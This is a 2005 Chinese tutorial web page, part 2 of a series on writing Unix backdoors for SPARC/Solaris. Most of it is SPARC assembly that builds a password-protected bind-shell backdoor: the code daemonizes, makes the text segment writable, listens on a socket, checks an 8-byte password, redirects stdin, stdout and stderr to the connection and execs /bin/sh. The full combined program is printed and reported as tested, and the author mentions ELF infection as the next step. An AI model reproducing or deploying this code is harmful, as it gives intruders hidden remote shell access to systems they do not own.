庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>操作系统>Linux>系统安全>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

SPARC/Solaris下的Unix后门初探(2)

 作者:本站收集   日期:2005-4-12
字号选择〖 〗/ 双击滚屏 单击停止   
这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。

编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %g1
        ta    8
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        clr   %o3
        clr   %g1
        ta    8
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

还有一个更烦人的execve( name[0], name, 0 ),可以从
<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        sethi   0xbd89a, %l4    ! sethi  %hi(0x2f626800), %l4
        or      %l4, 0x16e, %l4
        sethi   0xbdcda, %l5    ! sethi  %hi(0x2f736800), %l5
        and     %sp, %sp, %o0   ! $o0 指向字符串/bin/sh
        add     %sp, 8, %o1     ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor     %o2, %o2, %o2   ! %o2寄存器清零
        add     %sp, 16, %sp    ! 留出存储空间
        std     %l4, [%sp - 16] ! 存放字符
        st      %o0, [%sp - 8]  ! 存放字符串指针
        st      %g0, [%sp - 4]  ! %g0总是为0
        mov     0x3b, %g1       ! 将0x3b拷贝到%g1寄存器中
        ta      8               ! 执行中断指令ta 8(execve()完成)
    ");
}  /* end of main */
--------------------------------------------------------------------------

最后研究一下syscall( 3, c, pass, 8 ):

--------------------------------------------------------------------------
0x1033c <main+392>:     mov  3, %o0
0x10340 <main+396>:     ld  [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>:     sethi  %hi(0x26400), %o3
0x10348 <main+404>:     or  %o3, 0x158, %o2     ! 0x26558 <pass>
0x1034c <main+408>:     mov  8, %o3
0x10350 <main+412>:     call  0x10fec <syscall>
0x10354 <main+416>:     nop
--------------------------------------------------------------------------

分析后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8
    ");
}  /* end of main */
--------------------------------------------------------------------------

本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
read:
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8                    ! read( c, pass, 8 )
        ld    [ %l7 + 8 ], %o0
        ld    [ %l7 + 28 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        ld    [ %l7 + 12 ], %o0
        ld    [ %l7 + 32 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
    ");
}  /* end of main */
--------------------------------------------------------------------------

实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。

至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。

言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
    __asm__
    ("
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  exit
        nop
        mov   0x27, %o0            ! 此前%o0为0,子进程继续
        mov   3, %o1
        clr   %g1
        ta    8                    ! setsid()
        mov   0x30, %o0
        mov   1, %o1
        mov   1, %o2
        clr   %g1
        ta    8                    ! signal( SIGHUP, SIG_IGN )
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  exit
        nop
        mov   0x74, %o0            ! 第一个参数116
        sethi %hi(0x10000), %o1    ! 第二参数,起始地址
        sethi %hi(0x00002000), %o2 ! 第三个参数8096
        mov   0x07, %o3            ! 第四个参数7,rwx
        clr   %g1
        ta    8                    ! 设置文本段可写
        bn,a  .-4                  ! 跳转去执行call .-4指令
        bn,a  .-4                  ! 跳转去执行nop
        call  .-4                  ! 跳转去执行前面这条bn,a .-4指令
        nop                        ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
        add   %o7, 464, %l7        ! %o7 + 464 指向本段代码尾部
        mov   0xe6, %o0
        mov   0x02, %o1
        mov   0x02, %o2
        mov   0x06, %o3
        clr   %g1
        ta    8                    ! socket( 2, 2, 6 )
        st    %o0, [ %l7 ]         ! [ %l7 ]存放s
        mov   2, %o1
        sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
        clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
        sethi %hi(0x2000), %o1
        sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
        mov   0xe8, %o0            ! 第一个参数232
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   4, %o2
        add   %l7, %o2, %o2        ! 第三个参数&serv_addr
        mov   0x10, %o3            ! 最后一个参数16
        clr   %g1
        ta    8                    ! bind( s, ( struct sockaddr * )&serv_addr, 0x10 )
        mov   0xe9, %o0            ! 第一个参数233
        ld    [ %l7 ], %o1         ! 第二个参数s
        mov   0x01, %o2            ! 第三个参数1
        clr   %g1
        ta    8                    ! listen( s, 1 )
        mov   0x30, %o0
        mov   0x12, %o1            ! SIGCHLD
        mov   0x01, %o2
        clr   %g1
        ta    8                    ! signal( SIGCHLD, SIG_IGN )
accept:
        mov   0xea, %o0
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %o2
        clr   %o3
        clr   %g1
        ta    8                    ! accept( s, 0, 0 )
        st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
        mov   2, %g1
        ta    8                    ! fork()
        tst   %o1                  ! %o1不为0表示是子进程
        bne,a .+16                 ! 是子进程,跳转
        mov   %g0, %o0             ! 延迟插槽
        call  loop
        nop
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 ], %o1         ! 第二个参数s
        clr   %g1
        ta    8                    ! close( s )
read:
        mov   0x03, %o0            ! 第一个参数3
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        add   %l7, 8, %o2          ! 第三个参数pass
        mov   0x08, %o3            ! 第四个参数8
        clr   %g1
        ta    8                    ! read( c, pass, 8 )
        ld    [ %l7 + 8 ], %o0
        ld    [ %l7 + 28 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        ld    [ %l7 + 12 ], %o0
        ld    [ %l7 + 32 ], %o1
        cmp   %o0, %o1
        be,a  .+16
        nop
        call  read
        nop
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        clr   %o3
        clr   %g1
        ta    8                    ! dup2( c, 0 )
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        mov   0x01, %o3
        clr   %g1
        ta    8                    ! dup2( c, 1 )
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        mov   0x02, %o3
        clr   %g1
        ta    8                    ! dup2( c, 2 )
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8                    ! close( c )
        sethi 0xbd89a, %l4         ! sethi  %hi(0x2f626800), %l4
        or    %l4, 0x16e, %l4
        sethi 0xbdcda, %l5         ! sethi  %hi(0x2f736800), %l5
        and   %sp, %sp, %o0        ! $o0 指向字符串/bin/sh
        add   %sp, 8, %o1          ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor   %o2, %o2, %o2        ! %o2寄存器清零
        add   %sp, 16, %sp         ! 留出存储空间
        std   %l4, [%sp - 16]      ! 存放字符
        st    %o0, [%sp - 8]       ! 存放字符串指针
        st    %g0, [%sp - 4]       ! %g0总是为0
        mov   0x3b, %g1            ! 将0x3b拷贝到%g1寄存器中
        ta    8                    ! 执行中断指令ta 8(execve()完成)
        call  exit                 ! 保护措施,防止失控
        nop
loop:
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8                    ! close( c )
        call  accept
        nop
exit:
        mov   0x01, %o0
        clr   %o1
        clr   %g1
        ta    8                    ! exit( 0 )
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    ");
}  /* end of main */
--------------------------------------------------------------------------

7.12注:由于众所周知的原因,最后的四个.byte指令我全部替换成现在的样子,如
        果你看懂了原理,自己随便改改就是了,否则别怨我什么。

测试后效果还可以,接下来的任务是SPARC/Solaris下ELF格式文件的感染,估计很头
疼,如果实在太难我就放弃了,这个方向不是那么好玩的,弄不好把自己就给兜进去
了。

一个遗留问题,应该处理一下bind()失败的情形,Linux版本都处理了,SPARC版本尚
未处理,今做一工作记录,以免你忘却(马语者)。

<完>
上一篇:Trustix Secure Linux简介    下一篇:SPARC/Solaris下的Unix后门初探(1)  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-4-12
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿